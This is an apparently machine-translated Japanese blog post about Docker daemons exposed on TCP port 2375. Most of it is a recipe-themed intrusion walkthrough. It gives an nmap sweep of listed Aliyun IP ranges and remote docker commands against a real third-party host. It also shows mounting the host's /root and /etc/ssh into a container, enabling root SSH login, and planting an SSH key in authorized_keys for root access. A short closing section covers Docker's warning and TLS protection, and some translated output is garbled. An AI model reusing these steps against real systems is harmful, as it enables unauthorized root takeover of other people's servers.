Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

Docker がポート 2375 を公開し、サーバー攻撃を引き起こす問題と解決策

docker リモート API を学習した学生であれば、ポート 2375 についてよくご存知だと思います。2375 は docker リモート コントロールのデフォルト ポートです。このポートを通じて、リモート docker デーモンを直接操作できます。

$HOST ホストがdocker daemon -H=0.0.0.0:2375モードでデーモンを起動すると、外部マシン上の $HOST の docker デーモンを直接操作できます。

docker -H tcp://$HOST:2375 ps

さて、「侵入」の仕方について話しましょう。このポートを通じてホストマシンに侵入するにはどうすればいいのでしょうか?

これはいくつかの点から始まります:
1. Docker はuser namespaceを分離しません。つまり、コンテナ内のルートユーザーはホストマシンのルートユーザーです。ディレクトリがマウントされると、マウントされたファイルシステムは、ホストマシンのルートユーザーとしてコンテナ内で自由に変更できます。

  • docker サービスには高い実行権限 (root と同等) があり、docker ユーザー グループの一般ユーザーは、他の検証なしで docker run などのコマンドを実行できます。
  • 公開された docker リモート API ポートで SSL 検証が有効になっていない場合、docker ホストに接続できるマシンであれば、どのマシンでも docker ホストの docker デーモンを自由に操作できます (docker run、docker ps、docker rm などのコマンドは問題ありません)。

上記の 3 つのポイントを組み合わせると、基本的に Docker ホストに侵入するための条件が整います。

これは少し無理が​​あるように聞こえるかもしれないので、新しい例を見てみましょう。

(最近覚えた料理でその工程を説明させてください╮( ̄▽ ̄)╭)

秘伝の煮込み豚(ドッカーバージョン)

材料: 「5 つの花」の IP セグメントのブロック全体。太いほど良い (初心者ユーザーが多いほど良い)

材料: nmap、docker

ステップ1: ポート2375をスキャンする

スキャン方法は?私はシンプルで使いやすいハッカー必須ツールであるnmap選択しました。

どこを掃除しますか?私が選択したターゲットは aliyun の IP セグメントであり、Baidu は次のことを発見しました。

42.96.128.0/17 アリババ(北京)テクノロジー株式会社 中国 
42.120.0.0/16 Aliyun Computing Co., LTD 中国 
42.121.0.0/16 Aliyun Computing Co., LTD 中国 
42.156.128.0/17 Aliyun Computing Co., LTD 中国 
110.75.0.0/16 アジア太平洋ネットワーク情報センター 中国 
110.76.0.0/19 アリテクノロジー株式会社 中国 
110.76.32.0/20 Aliyun Computing Co., LTD 中国 
110.173.192.0/20 HiChina Web Solutions (北京) Limited 中国 
110.173.208.0/20 HiChina Web Solutions (北京) Limited 中国 
112.124.0.0/16 杭州アリババ広告有限公司 中国 
112.127.0.0/16 杭州アリババ広告有限公司 中国 
114.215.0.0/16 杭州アリババ広告有限公司 中国 
115.28.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.29.0.0/16 HiChina Web Solutions (北京) Limited 中国 
115.124.16.0/22 杭州アリババ広告有限公司 中国 
115.124.20.0/22 杭州アリババ広告有限公司 中国 
115.124.24.0/21 杭州アリババ広告有限公司 中国 
119.38.208.0/21 杭州アリババ広告有限公司 中国 
119.38.216.0/21 杭州アリババ広告有限公司 中国 
119.42.224.0/20 アリババ(中国)テクノロジー株式会社 中国 
119.42.242.0/23 杭州アリババ広告有限公司 中国 
119.42.244.0/22 杭州アリババ広告有限公司 中国 
121.0.16.0/21 杭州アリババ広告有限公司 中国 
121.0.24.0/22 杭州アリババ広告有限公司 中国 
121.0.28.0/22 杭州アリババ広告有限公司 中国 
121.196.0.0/16 杭州アリババ広告有限公司 中国 
121.197.0.0/16 杭州アリババ広告有限公司 中国 
121.198.0.0/16 杭州アリババ広告有限公司 中国 
121.199.0.0/16 杭州アリババ広告有限公司 中国 
140.205.0.0/16 Aliyun Computing Co., LTD 中国 
203.209.250.0/23 杭州アリババ広告有限公司 中国 
218.244.128.0/19 杭州アリババ広告有限公司 中国 
223.4.0.0/16 杭州アリババ広告有限公司 中国 
223.5.0.0/16 杭州アリババ広告有限公司 中国 
223.5.5.0/24 杭州アリババ広告有限公司 中国 
223.6.0.0/16 杭州アリババ広告有限公司 中国 
223.6.6.0/24 杭州アリババ広告有限公司 中国 
223.7.0.0/16 杭州アリババ広告株式会社

私は IP を制作しているわけではなく、Baidu のポーターです。これらの IP がどこから来たのか聞かないでください。私も知りたいのです~ >.<

上記のIP内容をaliyun.listなどのファイルに保存します。

スキャンを開始します:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open 
# コマンドを簡単に説明します:
# awk は IP セグメントの最初の列をフィルタリングします # xargs はフィルタリングされた IP を 1 つずつ nmap に送信します。-I {} は、送信されたパラメータを {} を使用して置き換えることを意味します # ...
# 2016-06-05 09:57 CST に Nmap 7.01 ( https://nmap.org ) を起動
# 42.96.MOSAIC.MOSAIC の Nmap スキャン レポート
# ホストが起動しています(遅延 0.070 秒)。
# 港湾国サービス
# 2375/tcp ドッカーを開く
# ...

2分も経たないうちに、 42.96.MOSAIC.MOSAIC最初の作品「豚バラ肉」が選択されました、さあ~

ステップ2: 2375の直接制御をテストする

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps
 
# コンテナ ID イメージ コマンド 作成 ステータス ポート  
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 日前 3 日前 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 日前 3 日前 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 日前 3 日前 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 週間前 3 日間稼働 443/tcp, 0.0.0.0
# ...

このサーバーの所有者は本当に協力的です (⊙ο⊙)。 PS を通じてコン​​テンツを直接見ることができます。つまり、このホストの 2375 には SSL 検証がなく、基本的に侵入要件を満たしています。

「五花」を洗って切り、鉢に植える準備をします~

ステップ3: 独自のコンテナをリモートで起動する

Docker を制御できるようになると何ができるようになりますか?ゲットしてよかったです〜

# images 既存のローカルイメージを確認します# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images
# ...
# swarm 最新 47dc182ea74b 4 週間前 19.32 MB
# jwilder/nginx-proxy 最新 203b20631e41 4 週間前 255.6 MB
# ubuntu 最新 c5f1cf30c96b 4 週間前 120.8 MB
# 造船所/造船所 最新 ba426f0944bc 5 週間前 58.92 MB
# ...

一部出力を省略しています。画像がかなり多いです。Ubuntuを選択しましょう。

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 実行 --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

このステップを見ると、SSHの知識がある学生なら理解できるはずだと私は思う。

ステップ4: SSH pubキーの挿入

起動したばかりのコンテナで、まず/tmp/ssh_etc/sshd_config (つまり、ホストの/etc/ssh/sshd_config ) の PermitRootLogin フィールドを確認します。 noの場合は、 yesに変更して、rootがssh経由でログインできるようにします。

次に、マシン上で新しい pub キーのペアを生成します (すでに ssh キーがある場合は、新しいキーを生成することをお勧めします。毎日使用する ssh pub キーは使用しないでください)。

# ssh-keygen を使用して生成します ssh-keygen -t rsa -C "[email protected]"
# コマンドを実行した後、「キーを保存するファイルを入力してください」というプロンプトを読んで、自分の SSH キーを上書きしないように注意してください。/tmp/id_rsa を選択できます。
# その他のプロンプトについては、次のように入力してください

続行し、ssh pubキーを挿入し、実行を開始したコンテナに戻ります。

cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 先ほどマシン上で生成した /tmp/id_rsa.pub ファイルをここに貼り付けます
>終了
 
# /tmp/root/.sshディレクトリが存在しない場合は直接作成します

スターアニス、ローリエの葉、薄口醤油、濃口醤油、酢を加え、中火で煮て、盛り付けます。

ステップ5: サーバーにログインする

# ssh -i ログインするためのキーを指定します ssh -i /tmp/id_rsa [email protected]
 
# Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) へようこそ
#
# * ドキュメント: https://help.ubuntu.com/
#
# aliyun Elastic Compute Service へようこそ!
#
# 最終ログイン: 2016 年 6 月 3 日金曜日 01:38:07 120.85.MOSAIC.MOSAIC から
# manpath: ロケールを設定できません。$LC_* と $LANG が正しいことを確認してください
# ルート@iZ28p9b7e***:~# 
# ...

ソースがとろみがつくまで強火で煮詰めたら火から下ろします。

厳粛な宣言

上記のチュートリアルは、コミュニケーションと学習のみを目的としています。42.96.MOSAIC.MOSAIC サーバーの42.96.MOSAIC.MOSAIC id_rsa.pub 、このチュートリアルの完了後にアクティブにクリアされ、そのことを通知するメッセージがサービス上に残されました。

利用可能なポート 2375 を偶然発見した場合は、使用を中止して他の目的で使用しないようにするか、他の侵入の脆弱性を見つけて、皆さんとコミュニケーションを取り、学習できるようにしていただければ幸いです。

2375 は Docker の脆弱性ですか?

いいえ! 2375 をパブリック インターネットに直接公開することは、単にユーザーの習慣または怠惰の問題です。2375は、比較的安全な内部ネットワークでの便利なテストに使用できますが、実稼働環境での使用には適していません。

Docker 公式サイトの最初のドキュメント「クイックスタート」には、次のような一文があります。

警告: デフォルトのDockerデーモンバインディングをTCPポートまたは
Unix dockerユーザーグループは、セキュリティリスクを増加させます。
非ルートユーザーがホスト上でルートアクセスを取得できないようにする。
dockerへのアクセス。TCPポートにバインドしている場合は、
そのポートへのアクセスはDockerの完全なアクセス権を持っているため、お勧めできません。
オープンネットワーク上で。

警告: デーモンが TCP ポートに直接公開されている場合、非 root ユーザーがホスト マシン上で root 権限を取得できる可能性があります。実はこれが、上記のサーバーが侵入された理由です。

予防方法

では、問題は、リモート API を使用したいがハッキングされるリスクを避けたい場合はどうすればいいのかということです。

公式の Docker ドキュメントでは、CA 認証を通じてリモート API を使用する方法が紹介されています。

詳細については、「Dockerデーモンソケットを保護する」を参照してください。

(理解できたらまたブログを書きますが、ここにリンクしておきますOO)

設定プロセスは比較的簡単です。以下は SSL を設定した後の効果を示す図です。

Docker がポート 2375 を公開してサーバー攻撃を引き起こす問題とその解決策に関するこの記事はこれで終わりです。Docker がポート 2375 を公開することに関する関連コンテンツの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Docker での環境変数の使用とよくある問題の解決策
  • Dockerはターミナルで中国語を入力できない問題を解決します
  • DockerでJenkinsをインストールし、初期プラグインのインストール失敗の問題を解決する
  • Dockerコンテナが外部ネットワークにpingできない問題を解決する
  • Docker環境でJenkinsを設定すると、タスクをビルドするときにコンソールログに文字化けした中国語の文字が表示されます
  • docker ログが取得できない問題の解決方法
  • Ubuntu 19でdockerソースをインストールできない問題を共有する
  • Dockerに関するよくある質問

<<:  ES6のシンボルデータ型について詳しく説明します

>>:  MySQL ストアド プロシージャを作成 (CREATE PROCEDURE) して呼び出す (CALL) 方法と、変数を作成 (DECLARE) して割り当てる (SET) 方法

推薦する

Docker プライベートリポジトリの管理とローカルリポジトリ内のイメージの削除

1: Dockerプライベートウェアハウスのインストール1. イメージリポジトリからイメージをダウン...

JQueryセレクターの詳細な説明

目次基本的なセレクター:レベルセレクター:属性セレクター:フィルターセレクター:フォーム属性セレクタ...

HTML ページでコンテンツの選択、コピー、右クリックを防止する方法の詳細な説明

時には、Web ページに掲載されているコンテンツが悪意のある人物に盗用されるのを望まないため、Web...

MySQLクエリ時にフィールドにデフォルト値を割り当てる方法

必要フィールドをクエリする場合、フィールドに同じ値を指定する必要があります。この値はハードコードする...

Vueはプルダウンとスクロールでデータを読み込む例を実装しています

目次ステップ1: インストールステップ2: 引用ステップ3: 使用Webプロジェクトでは、データを読...

時刻を保存するために適切な MySQL の datetime 型を選択する方法

データベースを構築してプログラムを書くとき、日付と時刻の使用は避けられません。データベースには、ti...

Centos7でファイルをバックアップするときは、バックアップファイルにバックアップの日付を追加します

Linux は、システム内のデバイス、インターフェース、ファイル、スタートアップ、アプリケーション ...

CSS の一部のプロパティの前には「*」または「_」が付きます。

CSS の一部のプロパティの前には「*」または「_」が付きます。さまざまなブラウザを識別する例えば...

DIVマスクを使用して、マウスでチェックボックスを直接チェックすることが無効である問題を解決します

フロントエンドの開発過程で、チェックボックスが必要な状況が発生しました。ユーザー操作の利便性を考慮し...

Vueでショッピングカートのすべての機能を実装する簡単な方法

主な機能は次のとおりです。製品情報を追加する製品情報を変更する単一の製品を削除する複数の製品を削除す...

40 CSS/JSスタイルと機能的な技術処理

1-ドロップダウン選択ボックスのスタイル設定 - ドロップダウン リストを変更します。 2- <...

HTML フォーム コンポーネントのサンプル コード

HTML フォームは、さまざまな種類のユーザー入力を収集するために使用されます。次のコードは、HTM...

MySQL インデックス障害の上位 10 の問題の概要

目次背景1. クエリ条件に「or」が含まれているため、インデックスが失敗する可能性があります。 2....

Vue はカスタム「モーダル ポップアップ ウィンドウ」コンポーネントのサンプル コードを実装します

目次序文レンダリングサンプルコード要約する序文ダイアログ ボックスは非常に一般的なコンポーネントであ...